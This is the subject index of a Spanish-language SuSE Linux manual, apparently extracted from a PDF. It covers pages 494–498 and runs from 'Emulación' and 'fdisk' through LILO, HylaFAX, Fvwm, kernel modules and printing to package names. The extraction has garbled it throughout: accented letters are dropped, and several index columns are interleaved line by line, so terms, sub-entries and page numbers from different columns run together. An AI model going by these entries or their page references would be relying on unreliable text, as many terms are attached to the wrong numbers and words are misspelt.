Emulacin servidor Novell . . . faxsetup . . . . . . . . . . . . . . . . 393 291
393 fdisk . . . . 4547, 66, 110, 117, Filtros de impresin . 290, 291
Enlace . . . . . . . . . . . . . . . . . 443 119, 123, 124, 378, 379 find . . . . . . . . . . . . . . . . . . . . 378
Simblico . . . . . . . . . . . . 421 mbr . . . . . . . . . . . . . . . . . . 118 find . . . . . . . . . . . . . . . . . . . 420
Enlace simblico . . . . . . . . 421 $FEATURE . . . . . . . . . . . . 293 finger . . . . . . . . . . . . . . . . . . 461
Enlightenment . . . . . . . . . . 243 fetch . . . . . . . . . . . . . . 190, 191 fips . . . . . . . 16, 18, 45, 56, 471
Entorno . . . . . . . . . . . . . . . . 443 fhs . . . . . . . . . . . . . . . . . . . . 356 fips.exe . . . . . . . . . . . . . . . . . . 46
Entorno grfico de usuario 443 Fichero . . . . . . . . . . . . . . . . . 443 Firewall . . . . . . . . . . . . . . . . 471
Entrar al sistema . . . . 411, 467 . . . . . . . . . . . . . . . . . . . . . 421 Floppy . . . . . . . . . . . . . . . . . 329
envo mltiple .tar.gz . . . . . . . . . . . . . 421 Florian La Roche . . . . . . . . . 10
SuSEFax . . . . . . . . . . . . . 200 .tgz . . . . . . . . . . . . . . . . . 421 Foco . . . . . . . . . . . . . . . . . . . 444

494
ndice de Materias

Formatear FvwmBanner . . . . . . . . . . . 247 gsview . . . . . . . . . . . . . . . . . 10


Particin . . vase Particin, FvwmButtons . . . . . . . . . . . 246 gtkndev . . . . . . . . . . . . . . . 360
Formatear FvwmIdent . . . . . . . . . . . . . 250 gv . . . . . . . . . . . . . . . . . 197, 411
Frecuencia horizontal . . . . 230 gv . . . . . . . . . . . . . . . . . . . . . 197
Frecuencia vertical . . . . . . 230 G gv . . . . . . . . . . . . . . . . . . 10, 197
free . . . . . . . . . . . . . . . . . . . 425 Gateway . . . . . . . . . . . 147, 155 gzip . . . . . . . . . . . . . . . . . . . . . 64
Free Software Foundation 2 Tarjetas de red . . . . . . 329 gzip . . . . . . . . . . . . . . . . . . . 422
(FSF) . . . . . . . . . . . . . . 444 gcc . . . . . . . . . . . . . . . . . . . . 309
Freecom . . . . . . . . . . . . . . . . . 54 GEM . . . . . . . . . . . . . . . . . . 443 H
Frequently Asked Questions . . Generar Hrcules . . . . . . . . . . . . . . . . . 92
467 Directorio . . . . . . . . . . . . 416 halt . . . . . . . . . . . . . . . . . . . . 385
fsck . . . . . . . . . . . . . . . . . . . . . 68 Ususario . . . . . . . . . . . . . 411 Hans Lermen . . . . . . . . . . . . 10
ftp . . . . . . . . . . . . . 96, 164, 461 Gestor de arranque . . . . . . 105 Harald Knig . . . . . . . . . . . . 10
FTP . . . . . . . . . . . . . . . . . . . . 444 boot.sys . . . . . . . . . . . . . . 107 Hardware
Client . . . . . . . . . . . . . . . . 444 LILO . . . . . . . . . . . . . . . . 107 Disquetera . . . . . . . . . . . . 281
Server . . . . . . . . . . . . . . . . 444 OS/2 . . . . . . . . . . . . . . . . . 107 Disquetera LS120 . . . . . 281
Fuente . . . . . . . . . . . . . . . . . 470 Windows NT . . . . . . . . . 107 Disquetera ZIP . . . . . . . . 281
Fuentes . . . . . . . . . . . . . . . . 248 Gestor de impresin(lpd) . 289 Escner . . . . . . . . . . . . . . 283
Compilar . . . . . . . . . . . . . 364 Gestor de paquetes . . . . . . 361 Instalar . . . . . . . . . . . . . . . 269
Fujitsu FMV-181/182/183/184 Gestor de ventanas . . 241, 444 ISApnp . . . . . vase ISApnp
337 Configuracin . . . . . . . . 262 Plug-and-Play . . . . . . . . 384
Funcionamiento Fvwm2 . . . . . . . . . . . . . . 245 PlugAndPlay . . . . . . . . . 269
HylaFAX . . . . . . . . . . . . . 202 Tareas . . . . . . . . . . . . . . . . 243 Problemas . . . . . . . . . . . . . 57
Future Domain . 324, 325, 334 getty . . . . . . . . . . . . . . . . . . . 207 Puerto paralelo . . . . . . . . 278
fvwm . . . . . . . . . . . . . . . . . . 229 Ghostscript . . . . . 91, 292, 299 Unidad extraible . . . . . . 281
fvwm . . . . . . . . . . . . . . . . . . . 246 uniprint . . . . . . . . . . . . . . 300 USB . . . . . . . . . . vase USB
Fvwm . . . . 241, 242, 246, 258 GhostView . . . . . . . . . 197, 250 hfaxd . . . . . . . . . . . . . . . . . . 203
Fvwm . . . . . . . . . . . . . . . 245 GhostView . . . . . . . . . . . . . 411 Hilfe
Colores . . . . . . . . . . . . . . 248 GhostView . . . . . . . . . . . . . 197 Hipertext . . . . . . . . . . . . . . . 7
Cursor . . . . . . . . . . . . . . . 250 glibc . . . . . . . . . . 358, 360, 444 Hipertexto . . . . . . . . . . . . . . . . 7
Ajustar . . . . . . . . . . . . . . . . 250 glibndev . . . . . . . . . . . . . . 360 HiSax . . . . . . . . . . . . . . . . . . 167
Definicin de fuente . . . 248 gnlibsd . . . . . . . . . . . . . . . 360 $HOME . 245, 254, 263, 297,
Ficheros de configuracin . . GNOME . . . . . . . . . 4, 61, 366 442, 453
246 Compilar . . . . . . . . . . . . . 360 Host . . . . . . . . . . . . . . . . . . . 444
Fuente . . . . . . . . . . . . . . . 248 gnorpm . . . . . . . . . . . . . . . . 366 host.conf . . . . . . . . . . . . . . . 152
Iconos . . . . . . . . . . . . . . . 249 GNU . . . . . . . . . . . . 4, 380, 444 alert . . . . . . . . . . . . . . . . . 151
Ajustar . . . . . . . . . . . . . . . . 249 GNU Emacs . . . . . . . . . . . . 442 multi . . . . . . . . . . . . . . . . . 151
Inicio . . . . . . . . . . . . . . . . 246 GNUZip . . . . . . . . . . . . . . . 422 nospoof . . . . . . . . . . . . . . 151
Inicio lento . . . . . . . . . . . 261 GNU C/C++ Compiler . . . . . 4 order . . . . . . . . . . . . . . . . . 151
Tipo de letra . . . . . . . . . . 248 Goldstar CD-ROM . . 330, 340 trim . . . . . . . . . . . . . . . . . . 151
fvwm1 . . . . . . . . . . . . . . . . . . 246 GPL . . . . . . . . . . . . . . . 411, 473 HOSTNAME . . . . . . . . . . . 154
fvwm2 . . . . . . . . . . . . . . . . . . 245 gpm . . . . 32, 33, 221, 441, 470 hosts . . . . . . . . . . . . . . 150, 151
Fvwm2 vi, 241243, 245, 246, GPM . . . . . . . . . . . . . . . . . . . 388 Hotline . . . . . . . . . . . . . . . . . 484
258261 gra . . . . . . . . . . . . . . . . . . . . 284 HowTo-ficheros . . . . . . . . . . . 9
Fvwm2 . . . . . . . . . . . . . . 245 grep . . . . . . . . . . . . . . . . . . . 378 howtodeh . . . . . . . . . . . . . . 373
Ajustes . . . . . . . . . . . . . . . 247 grep . . . . . . . . . . . . . . . . . . . 420 howtoenh . . . . . . . . . . . . . . 373
Configurar . . . . . . . . . . . . 247 group . . . . . . . . . . . . . . . . . . 158 HP 10/100 VG-AnyLAN . 338
General . . . . . . . . . . . . . . 245 Grupos HP PCLAN . . . . . . . . . . . . . 338
Imagen de fondo . . . . . . 247 Administracin . . . . . . . 101 HP PCLAN+ . . . . . . . . . . . 337
Inicio . . . . . . . . . . . . . . . . 247 gs . . . . . . . . . vase Ghostscript ht://Dig . . . . . . . . . . . . . . . . 374
Papel tapiz . . . . . . . . . . . 247 gs . . . . . . . . . . . . . . . . . . . . . . 91 htdig . . . . . . . . . . . . . . . . . . . . 61
Fvwm2 . . . . . . . . . . . . . . . . 247 $GS_RESOL . . . . . . . . . . . 305 htdig . . . . . . . . . . . . . . . . . . 374
Fvwm95 . . 241, 242, 258, 261 gs_x11 . . . . . . . . . . . . . . . . 197 http . . . . . . . . . . . . . . . . . . . . 164

495
ndice de Materias

http-man . . . . . . . . . . . . . . . 374 Impresora-GDI . . . . . . . . . . 305 Particin DOS como fuente


http-rman . . . . . . . . . . 373, 393 Impresoras . . . . . . . . . . . . . 285 37
httpd . . . . . . . . . . . . . . . . . . . 392 Lexmark . . . . . . . . . . . . . 305 por disco duro . . . . . . . . . 37
hylafax . . . . . . 192, 200, 201 soportadas . . . . . . . . . . . . 300 Primera instalacin . . . . . 15
HylaFAX . . . v, 192, 197, 202, Imprimir Red como fuente . . . . . . . 39
202, 203, 208 lpd arrancar . . . . . . . . . . 392 va FTP . . . . . . . . . . . . . . . 83
hyperref . . . . . . . . . . . . . . 359 Kernel 2.2.x . . . . . . . . . . 359 va NFS . . . . . . . . . . . . . . . 80
Novell NetWare . . . . . . . . 97 Instalacin de paquetes . . . 87
I Samba . . . . . . . . . . . . . . . . 97 Insure++ . . . . . . . . . . . . . . . . 61
i4l . . . . . . . . . . . . 97, 167, 385 inetcfg . . . . . . . . . . . 175, 182 Intel . . . . . . . . . . . . . . . . . . . 137
i4ldoc . . . . . . . . . . . . 167, 175 inetd . . 31, 96, 149, 155, 190, Intel EtherExpress 16 . . . . 337
i82557/i82558 . . . . . . . . . . 337 374, 390, 408 Intel EtherExpressPro . . . . 337
IBM . . . . . . . . . . . . 3, 137, 448 Inetd . . . . . . . . . . . . . . . . . . . 203 Intel EtherExpressPro 100 337
IBM OS/2 . . . . . . . . . . . . . . 428 inf2htm . . . . . . . . . . . . . . . 373 Interfaz . . . . . . . . . . . . . . . . 445
IBM Thinkpad . . . . . . . . . . 330 info . . . . . . . . . . . . . . . . . . . . . . 8 Internet . . . . . . . . . . . . 445, 469
Icewm . . . . . . . . . . . . . . . . . 243 info . . . . . . . . . . . . . . . . 8, 380 Configurar PPP . . . . . . . 180
ICL EtherTeam . . . . . . . . . 338 Info . . . . . . . . . . . . . . . 380, 468 Internet Services Daemon
ICN . . . . . . . . . . . . . . . . . . . . 167 Info (info) . . . . . . . . . . . . . 380 inetd . . . . . . . . . . . . . . . . . 390
Iconos . . . . . . . . . . . . . . . . . 249 Informacin de paquetes . . 87 xinetd . . . . . . . . . . . . . . . . 390
Identifier . . . . . . . . . . . . . . . 239 Informacin del sistema . . 368 Internet Super-Server . . . . 408
Idioma Informix . . . . . . . . . . . . . . . . . . 3 Introduccin . . . . . . . . . . . . 411
Configurar . . . . . . . . . . . . 387 Infoviewer . . . . . . . . . . . . . . . . 8 IP-Forwarding . . . . . . . . . . 389
Definir . . . . . . . . . . . . . . . . 74 init . . viii, 119, 378, 381384, IPX . . . . . . . . . . . . . . . . . . . . 210
ifconfig . . . . . . . . . . . . 378, 389 450 IRC . . . . . . . . . . . . . . . . . . . . 390
Imagen de fondo . . . . . . . . 247 scripts . . . . . . . . . . . . . . . . 384 isapnp . . . . . . . . . . . . . 269274
imlibdev . . . . . . . . . . . . . . 360 Init . . . . . . . . . . . . . . . . . . . . 203 isapnp . . . . . . . . . . . . . . . . 275
importar . . . . . . . . . . . . . . . . 159 inittab . . . . . . . . . . . . . . . . . . 381 ISApnp . . . . . . . . . . . . . . . . 269
Impresin inn . . . . . . . . . . . . . . . 189, 359 isdn4linux . . . . . . . . . . . . 166
Accounting . . . . . . . . . . . 297 INN . . . . . . . . . . . . . . . . . . . 392 isdnctrl . . . . . . . . . . . . . . . . . 166
apaisada . . . . . . . . . . . . . . 293 Inode . . . . . . . . . . . . . . . 78, 444 isdnlog . . . . . . . . . . . . . . . . . 170
Printserver . . . . . . . . . . . . 289 Densidad . . . . . . . . . . . 78, 97 ISP . . . . . . . . . . . . . . . . . . . . 445
remota . . . . . . . . . . . 290, 294 insmod . . . . . . . . 310, 311, 317 ISP16 . . . . . . . . . . . . . 331, 341
Servidor de impresin . 289 Parmetros . . . . . . . . . . . 317
J
Sinopsis . . . . . . . . . . . . . . 285 Instalacin
jade_dsl . . . . . . . . . . . . . . 358
Impresora CD-ROM en controladora
JAZ-Drive . . . . . . . . . . . . . . 138
Comprobacin . . . . . . . . 305 propia . . . . . . . . . . . . . . . 54
Job (Fax-)
Configuracin . . . . . . . . . . 91 Contenido . . . . . . . . . . . . . 84
SuSEFax . . . . . . . . . . . . . 195
Daemon . . . . . . . . . . . . . . 289 desde CD-ROM . . . . . . . . 80
Job-ID . . . . . . . . . . . . . . . . . 199
Impresora de red . . . . vase desde particin . . . . . . . . . 82 joe . . . . . . . . . . . . . . . . . . . . . 442
Impresora de red desde particin de disco john . . . . . . . . . . . . . . . . . . . 401
Impresora-GDI . . . . . . . 305 duro . . . . . . . . . . . . . . . . 80 jurix . . . . . . . . . . . . . . . . . . . . 10
Novell NetWare como Desde... . . . . . . . . . . . . . . . 79
servidor de impresin . 97 Desinstalar paquetes . . . 361 K
Parmetro de kernel . . . 332 FTP . . . . . . . . . . . . . . . . . . . 39 KDE 4, 61, 98, 164, 181, 241,
Puerto paralelo . . . . . . vase Fuente . . . . . . . . . . . . . . . . 79 243, 357, 366, 468
Hardware, Puerto paralelo Interrupcin de la primera $KDEDIR . . . . . . . . . . . . . 252
solo Windows . . . . . . . . . 305 instalacin . . . . . . . . . . . 57 kdehelp . . . . . . . . . . . . . . . . 251
Windows-computadora lector CD-ROM en puerto kdisplay . . . . . . . . . . . . . . . . 256
como servidor de paralelo . . . . . . . . . . . . . 54 kdm . . . . . . . 98, 252, 253, 357
impresin . . . . . . . . . . . 97 LILO . . . . . . . . . . . . . . . . 117 Kernel . . . . . . . . 309, 445, 467
Impresora de red . . . . . . . . 289 Medio . . . . . . . . . . . . . . . . . 79 Compilacin . . . . . . . . . . 309
Configuracin . . . . . . . . . . 96 NFS . . . . . . . . . . . . . . . . . . 39 Configuracin . . . . . . . . 311
Pre-filtro . . . . . . . . . . . . . 297 Paquetes . . . . . . . . . . 87, 361 Driver de impresora . . . 348

496
ndice de Materias

Mdulos . . . . . . . . . . . . . 310 LILO . . . . . . . . . . . . . . . . . . 105 Local Area Network . . . vase


Parmetros . . . . . . . . 50, 317 LILO . . . . . . . . . . . . . . . . . . . 35 LAN
Seleccin . . . . . . . . . . . . . . 50 Arrancar DOS y OS/2 . 124 locale . . . . . . . . . . . . . . . . . . 387
sig11 . . . . . . . . . . . . . . . . . . 57 Arrancar Windows NT . 122 locate . . . . . . . . . . . . . . . . . . 395
sig7 . . . . . . . . . . . . . . . . . . . 57 Configuraciones de ejemplo locate . . . . . . . . . . . . . . . . 395
Kernel Module Loader . . . 311 121 Log-Files . . . . . . . . . . . . . . . 396
Kernel too big . . . . . . . . . . 313 Desinstalacin . . . . . . . . 117 login . . . . . . . . . . . . . . 408, 467
kerneld . . . . . . . . 138, 311, 391 Desinstalar . . . . . . . . . . . 118 Login . . . . . . . . . . . . . . 394, 411
kerneld . . . . . . . . . . . . . . . . 311 Disquete de arranque . . 119 PAM . . . . . . . . . . . . . . . . . 360
Kerneldamon . . . . . . . . . . . 311 DOS/Win95 arrancar . . 121 login: . . . . . . . . . . . . . . . . . . 411
kernmod . . . . . . . . . . . 167, 276 Instalacin . . . . . . . . . . . 117 Login: . . . . . . . . . . . . . . . . . . . 31
Keyboard . . . . . . . . . . . . . . . 237 OS/2 arrancar . . . . . . . . . 123 Logitech . . . . . . . . . . . . . . . 229
Keyboard-Section . . . . . . . 237 Parmetros . . . . . . . . . . . 317 Logitech Busmouse . . . . . 330
kfm . . . . . . . . . . . . . . . 251, 254 Problemas . . . . . . . . . . . . 124 logout . . . . . . . . . . . . . . . . . . 412
kill . . . . . . . . . . . . . . . . . . . . 183 1024 cilindros . . . . . . . . . 126 logsurfer . . . . . . . . . . . . . . . 406
kill . . . . . . . . . . . . . . . . . . . 426 Diagnstico . . . . . . . . . . . . 124 Loopback . . . . . . . . . . . . . . 388
kmid . . . . . . . . . . . . . . . . . . . 276 Kernel a partir de 2.0 . . . 128 lpc . . . . . . . . . . . . . . . . . . . . . 288
kmod . . . . . 138, 280, 285, 311 Mensajes de inicio . . . . . 124 lpd . . 287, 289, 291, 298, 392
krpm . . . . . . . . . . . . . . . . . . . 366 lilo.conf . . . . . . . . . . . . . . . . 111 lpq . . . . . . . . . . . . . . . . . . . . . 288
kvt . . . . . . . . . . . . . . . . . . . . . 164 Link lpr . . . . . . . . . . . . 287, 291, 411
kwm . . . . . . . . . . . . . . . . . . . 251 Simblico . . . . . . . . . . . . 421 lprm . . . . . . . . . . . . . . . . . . . 288
Kwm . . . . . . . . . . . . . . 242, 258 Link simblico . . . . . . . . . . 421 lprold . . . . . . . 286, 298, 305
Linus Torvalds . . 3, 6, 11, 446 lrpold . . . . . . . . . . . . . . . . 297
L linux . . . . . . . . . . . . . . . . . . . . 9 ls . . . . . . . . . . . . . 407, 417, 460
Lnea de comandos . . . . . . 445 Linux . . . . . . . 4, 201, 446, 452 ls . . . . . . . . . . . . . . . . . . . . . 416
LAN . . . . . . . . . . 145, 219, 445 Actualizacin . . . . . . . . . 353 lsmod . . . . . . . . . . . . . . . . . . 311
LAN Manager . . . . . . 209, 428 Borrar . . . . . . . . . . . . . . . . 118 LUN . . . . . . . . . . . . . . . . . . . 321
Lance . . . . . . . . . . . . . . . . . . 328 Desinstalar . . . . . . . . . . . 118 lx_suse 9, 167, 275, 276, 309
$LANG . . . . . . . . . . . . . . . . 387 Introduccin . . . . . . . . . . 411 lynx . . . . . . . . . . . . . . . . . 7, 393
Laptop . . . . . . . . . . . . . . . . . 137 Primera instalacin . . . . . 15
latex-cover . . . . . . . . . . . . . 201 Update . . . . . . . . . . . . . . . 353 M
latex-cover . . . . . . . . . . . . 200 Linux Documentation Project m4 . . . . . . . . . . . . . . . . 189, 259
latex-cover . . . . . . . . . . 200 373 Mscara de red . . . . . 149, 155
$LC_* . . . . . . . . . . . . . . . . . 387 Linux originario . . . . . . . . . 446 Mdulo
LDAP-Server . . . . . . . . . . . 392 Mtodos de arranque . . . 42 Cargar . . . . . . . . . . . . . . . 369
ldp . . . . . . . . . . . . . . . . . . . . 373 linux.par . . . . . . . . . . . . . . . 129 Parmetros . . . . . . . . . . . 370
leafnode . . . . . . . . . . . 190, 191 linuxrc . . i, 10, 16, 1923, 39, Mdulos . . . . . . . . . . . . . . . 310
leafnode . . . . . . . . . 190, 359 44, 48, 54, 138, 139, 354, Compilar . . . . . . . . . . . . . 313
Leafnode . . . . . . . . . . . . . v, 190 359, 368372, 377 Manejo . . . . . . . . . . . . . . . 310
Lector CD-ROM . . . . . . . . 446 Linuxrc . . . . . . . . . . . . . . . . 146 MacOS . . . . . . . . . . . . . . . . . 452
Instalacin . . . . . . . . . . . . . 90 Listado de las series y paquetes MAD16 . . . . . . . . . . . 331, 341
Puerto paralelo . . . . . . vase 88 Mail . . . . . . . . . . . vase E-Mail
Hardware, Puerto paralelo Live-System . . . . . . . . . . 78, 97 Mail-Server . . . . . . . . . . . . . 471
Lector CD-ROM Llamada . . . . . . . . . . . . . . . . 413 Postfix . . . . . . . . . . . . . . . 390
en el puerto paralelo . . . . 51 ln . . . . . . . . . . . . . . . . . . . . . 421 makemap . . . . . . . . . . . . . . . 189
Lectores CD-ROM loadlin . . . . . . ii, iv, 10, 35, 36, man . . . . . . . . . . . . . . . . . . . . . . 9
Soporte por Linux . . . . . . 51 4144, 50, 55, 60, 105, Man in the Middle . . . . . . . 403
less 9, 164, 378, 418, 419, 424 107, 127, 129, 130, 271, Manpage . . . . 9, 380, 424, 446
Letra de unidad modificada 56 319, 355, 369 $MANPATH . . . . . . . . . . . 453
libc . . . . . . . . . . . . . . 309, 365 no funciona . . . . . . . . . . . . 55 Manual . . . . . . . . . . . . . . . . . 424
libcinfo . . . . . . . . . . . . . . 152 no se inicia . . . . . . . . . . . . 55 Manual en lnea . . . . . . . . . 415
Licencia . . . . . . . . . . . . . . . . 473 loadlin.exe . . . . . . . . . . 42, 107 Manual online . . . . . . . . . . 415
LILO . . . . . . . . . . . . . . . . . . . 105 loadlin.exe . . . . . . . . . . . . 10 Manuals . . . . . . . . . . . . . . . . . . 9

497
ndice de Materias

manyfaqs . . . . . . . . . . . . . . . . 9 Modo DOS vase Windows 95 named . . . . . . . . . . . . . . . . . . 152


Masquerading . . . . . . . . . . . 471 Modo protegido . . . . . . . . . . 55 Nameserver . . . 148, 149, 151,
IP-Forwarding . . . . . . . . 389 modprobe . 50, 310, 311, 317, 154
Massachusetts Institute of 333 ncpfs . . . . . . . . . . . . . . . . . . . 97
Technology . . . . . . . . . 219 Parmetros . . . . . . . . . . . 317 NCR 5380 . . . . . . . . . 325, 334
mattrib . . . . . . . . . . . . . . . . . 431 modules.conf . . . . . . . . . 311 NCR 53c400 . . . . . . . . . . . . 325
MBR . . . 105, 106, 110, vase Monitor . . . . . . . . . . . . 230, 237 NCR 53C400 . . . . . . . . . . . 334
Master Boot Record, 446 Monitor de red NCR 53c406a . . . . . . . . . . . 325
mc . . . . . . . . . . . . . . . . . . . . . 366 Argus . . . . . . . . . . . . . . . . 394 NCR 53C810 . . . . . . . . . . . 318
mc . . . . . . . . . . . . . . . . . . . . . 366 Monitor-Section . . . . . . . . . 237 ncurses . . . . . . . . . . . . . . . 380
mcd . . . . . . . . . . . . . . . . . . . . 431 montar . . . . . . . . . . . . . . . . . 429 NE1000/2000 . . . . . . . . . . . 338
mcopy . . . . . . . . . . . . . . . . . 431 Montar . . . . . . . . . . . . . . . . . 447 NE2000 . . . . . . . . . . . . . . . . 333
mdel . . . . . . . . . . . . . . . . . . . 431 Montar particiones DOS . . 78 net_tool . . . . . . . . . . . . . . 305
mdir . . . . . . . . . . . . . . . . . . . 431 more . . . . . . . . . . . . . . . . . . . 418 NetBEUI . . . . . . . . . . . . . . . 210
Mediakey . . . . . . . . . . . . . . 469 Motif . . . . . . . . . . . . . . . . . . 242 NetBIOS . . . . . . . . . . . 209, 210
Medio de almacenamiento 446 mount . . . . 159, 378, 429, 451 netcfg . . . . . . . . . . . . . . . . 305
Medio de instalacin . . . . . . 79 mountd . . . . . . . . . . . . 159, 160 Netgroups . . . . . . . . . . . . . . 158
Memoria . . . . . . . . . . . . . . . 446 Mountpoint . . . . . . . . . 77, 447 netpbm . . . . . . . . . . . . . . . . 292
Cantidad no reconocida 320 mouse . . . . . . . . . . . . . . . . . . 388 netscape . . . . . . . . . . . . . . . . . . 7
Reservar . . . . . . . . . . . . . 320 Mouse Netscape . . . . . . . . 59, 61, 191
Memoria RAM . . . . . . . . . 447 Bus . . . . . . . . . . . . . . . . . . 229 Netscape Communicator . . . 7
Memory . . . . . vase Memoria Configuracin . . . . . . . . . . 90 netstat . . . . . . . . . . . . . . . . . . 378
Men . . . . . . . . . . . . . . . . . . 447 HiTablet . . . . . . . . . . . . . . 229 NetWare . . . . . . . vase Novell
Men de arranque . . . . . . . 129 Logitech . . . . . . . . . . . . . 229 Netware, vase Novell
Men principal . . . . . . . . . . . 73 Logitech (MouseMan) . 229 NetWare
Mensajes de sistema . . . . . 469 Microsoft . . . . . . . . . . . . . 229 Network File System . . . vase
mformat . . . . . . . . . . . . . . . . 431 MM-Serie . . . . . . . . . . . . 229 NFS
mgetty . . . . . . . . 192, 207, 208 Mouse Systems . . . . . . . 229 Network Information Service .
mgetty . . . . . . . . . . . . 192, 208 PS/2 . . . . . . . . . . . . . . . . . 229 vase NIS
Microsoft . . . . . . . . . . . . . . . 210 Tipo . . . . . . . . . . . . . . . . . 229 networks . . . . . . . . . . . . . . . 150
Midnight Commander . . . 366 Mozart . . . . . . . . . . . . 331, 341 News . . . . . . . . . . . . . . 163, 189
minicom . 163, 164, 184, 356, Mozart CD-ROM . . . 331, 340 Leafnode . . . . . . . . . . . . . 190
358 mrd . . . . . . . . . . . . . . . . . . . . 431 NeXTstep . . . . . . . . . . . . . . 428
Minicom . . . . . . . . . . . 164, 184 mread . . . . . . . . . . . . . . . . . . 431 NeXTSTEP . . . . . . . . . . . . . 242
minicom -s . . . . . . . . . . . . 184 mren . . . . . . . . . . . . . . . . . . . 431 NFS . . . . . . . . . . . . . . . 159, 448
MIT . . . . . . . . . . . . . . . . . . . 219 MS-Windows . . . . . . . . . . . 443 Group-IDs . . . . . . . . . . . . 391
Mitsumi CD-ROM . . 330, 340 msdos.sys . . . . . . . . . . . . . . 129 Instalacin desde . . . . . . . 80
Mitsumi FX-001(D) 330, 340 mtools . . . . . . . . . . . . . 281, 430 Servidor . . . . . . . . . . . . . . 391
mke2fs . . . . . . . . . . . . . . . 56, 57 mtools . . . . . . . . . . . . 430, 431 User-IDs . . . . . . . . . . . . . 391
mkfs . . . . . . . . . . . . . . . . . . . 378 mtype . . . . . . . . . . . . . . . . . . 431 NFS-Client . . . . . . . . . . . . . 159
mknod . . . . . . . . . . . . . . . . . 457 Multiprocesador . . . . . . . . 447 NFS-Server . . . . . . . . . . . . . 159
mksusewmrc . . . . . . . . . . . . 260 Multisession CD-ROM . . 331, nfsd . . . . . . . . . . . . . . . 159, 160
mkswap . . . . . . . . . . . . . . . . 378 340 NI6510 . . . . . . . . . . . . . . . . . 338
mlabel . . . . . . . . . . . . . . . . . 431 Multitarea . . . . . . . . . . . . . . 447 NIS . . . . . . . . . . vase YP, 157
Mlvwm . . . . . . . . . . . . . . . . 243 Multiusuario . . . . . . . . . . . . 447 NIS-Domain . . . . . . . . . . . . 158
mmd . . . . . . . . . . . . . . . . . . . 431 mv . . . . . . . . . . . . . . . . . . . . . 420 NIS-Server . . . . . . . . . . . . . 158
Modeline . . . . . . . . . . 237, 240 Mwm . . . . . . . . . 241, 242, 258 Nivel de ejecucin . . . . . . . 448
modem . . . . . . . . . . . . . . . . . 388 mwrite . . . . . . . . . . . . . . . . . 431 nkit . . . . . . . . . . . . . . . . . . . 365
Modem MySQL . . . . . . . . . . . . . . . . 394 nkita . . . . . . . . . . . . . 179, 305
Conectar . . . . . . . . . . . . . 163 nkitb . . . . . . . . . . . . . 179, 305
Configuracin . . . . . . . . . . 90 N nn . . . . . . . . . . . . . . . . . . . . . 191
Modificar parmetros de tarea Nmeros de telfono . . . . 484 NNTP . . . . . . . . . . . . . . . . . . 392
SuSEFax . . . . . . . . . . . . . 197 Name Service Switch . . . . 152 NNTP-Server . . . . . . . . . . . 390

498
ndice de Materias

nntpd . . . . . . . . . . . . . . . . . . 392 aps . . . . 287, 292, 294, 305 manyfaqs . . . . . . . . . . . . . . 9


Nombre autofs . . . . . . . . . . . . . . 391 mgetty . . . . . . . . . . 192, 208
Cambio . . . . . . . . . . . . . . . 96 bind . . . . . . . . . . . . 187, 410 mtools . . . . . . . . . . 430, 431
Nombre de computadora . 146 binutils . . . . . . . . . . . . 309 named . . . . . . . . . . . . . . . . 152
Nombre de dominio . . . . . 146 books . . . . . . . . . . . . . . . . . 10 ncpfs . . . . . . . . . . . . . . . . . 97
Notebook . . . . . . . . . . . . . . . 137 cdb . . . . . 51, 223, 305, 357 ncurses . . . . . . . . . . . . . 380
PCMCIA . . . . . . . . . . . . . 388 cdesim . . . . . . . . . . . . . . 258 net_tool . . . . . . . . . . . . 305
Thinkpad . . . . . . . . . . . . . . 55 cnews . . . . . . . . . . . . . . . . 359 netcfg . . . . . . . . . . . . . . 305
Noticias . . . . . . . . . . . . . . . . 189 colortbl . . . . . . . . . . . . 359 netpbm . . . . . . . . . . . . . . 292
Leafnode . . . . . . . . . . . . . 190 cron . . . . . . . . . . . . . viii, 379 nkit . . . . . . . . . . . . . . . . . 365
Notification Scheme curses . . . . . . . . . . viii, 380 nkita . . . . . . . . . . . 179, 305
SuSEFax . . . . . . . . . . . . . 196 dhclient . . . . . . . . . . . . . 96 nkitb . . . . . . . . . . . 179, 305
Novell . . . . . . . . . . . . . . . . . 210 doc . . . . . . . . . . . . . . . . . . 411 oss . . . . . . . . . . . . . . . . . . 274
Novell NE1000/2000 . . . . 338 docbkdsl . . . . . . . . . . . . 359 ossdemo . . . . . . . . . . . . . 274
Novell NetWare . . . . . . . . . 209 dochost . . . . . . . . . 374, 375 pbm2l7k . . . . . . . . . . . . . 305
nsswitch.conf . . . . . . . . . . . 152 faxprint . . . . . . . . . . . . 201 pcmcia . . . . . 137, 139, 140
fhs . . . . . . . . . . . . . . . . . . 356 pgp . . . . . . . . . . . . . . . . . . 409
O fvwm . . . . . . . . . . . . . . . . . 246 plp . . . . . . . . . . . . . . . . . . 297
olvwm . . . . . . . . . . . . . . . . . 461 fvwm1 . . . . . . . . . . . . . . . . 246 postfix . . . . . . . . . . . . . 404
Olvwm . . . . . . . . . . . . 241, 242 gcc . . . . . . . . . . . . . . . . . . 309 postgres . . . . . . . 353, 358
olwm . . . . . . . . . . . . . . . . . . 461 glibndev . . . . . . . . . . . . 360 ppa . . . . . . . . . . . . . . . . . . 305
Omnibook . . . . . . . . . . . . . . 330 gnlibsd . . . . . . . . . . . . . 360 ppp . . . . . . . . . . . . . . . . . . 179
Opciones . . . . . . . . . . . . . . . 448 gra . . . . . . . . . . . . . . . . . . 284 ppp_nt . . . . . . . . . . . . . . 182
OpenLook . . . . . . . . . . . . . . 242 gs_x11 . . . . . . . . . . . . . . 197 recode . . . . . . . . . . . . . . 293
Optics Storage CD-ROM 331, gsview . . . . . . . . . . . . . . . 10 rman . . . . . . . . . . . . . . . . . 373
341 gtkndev . . . . . . . . . . . . . 360 rpm . . . . . . . . . . . . . . . . . . 365
Oracle . . . . . . . . . . . . . . . . . . . . 3 gv . . . . . . . . . . . . . . . . 10, 197 samba . . . . . . . . . . . . . . . . . 97
Oracle 8 . . . . . . . . . . . . . . . . . 61 howtodeh . . . . . . . . . . . . 373 sane . . . . . . . . . . . . . . . . . 283
Orden . . . . . . . . . . . . . . . . . . 413 howtoenh . . . . . . . . . . . . 373 sax . . . . . . . . . . . . . . . . . . 219
OS/2 . . . . . . . . . . . . . . 192, 452 htdig . . . . . . . . . . . . . . . . 374 scsiinfo . . . . . . . . . . . . 283
Arrancar . . . . . . . . . 123, 124 hylafax . . . . 192, 200, 201 sdb . . . . . . . . . . . . . . . . . . 373
Bootmanager . . . . . . . . . 107 hyperref . . . . . . . . . . . . 359 sdb_cgi . . . . . . . . . . . . . 373
Generar particiones Linux . . i4l . . . . . . . . . . 97, 167, 385 sdb_de . . . . . . . . . . . . . . 373
47 i4ldoc . . . . . . . . . . 167, 175 sdb_en . . . . . . . . . . 174, 356
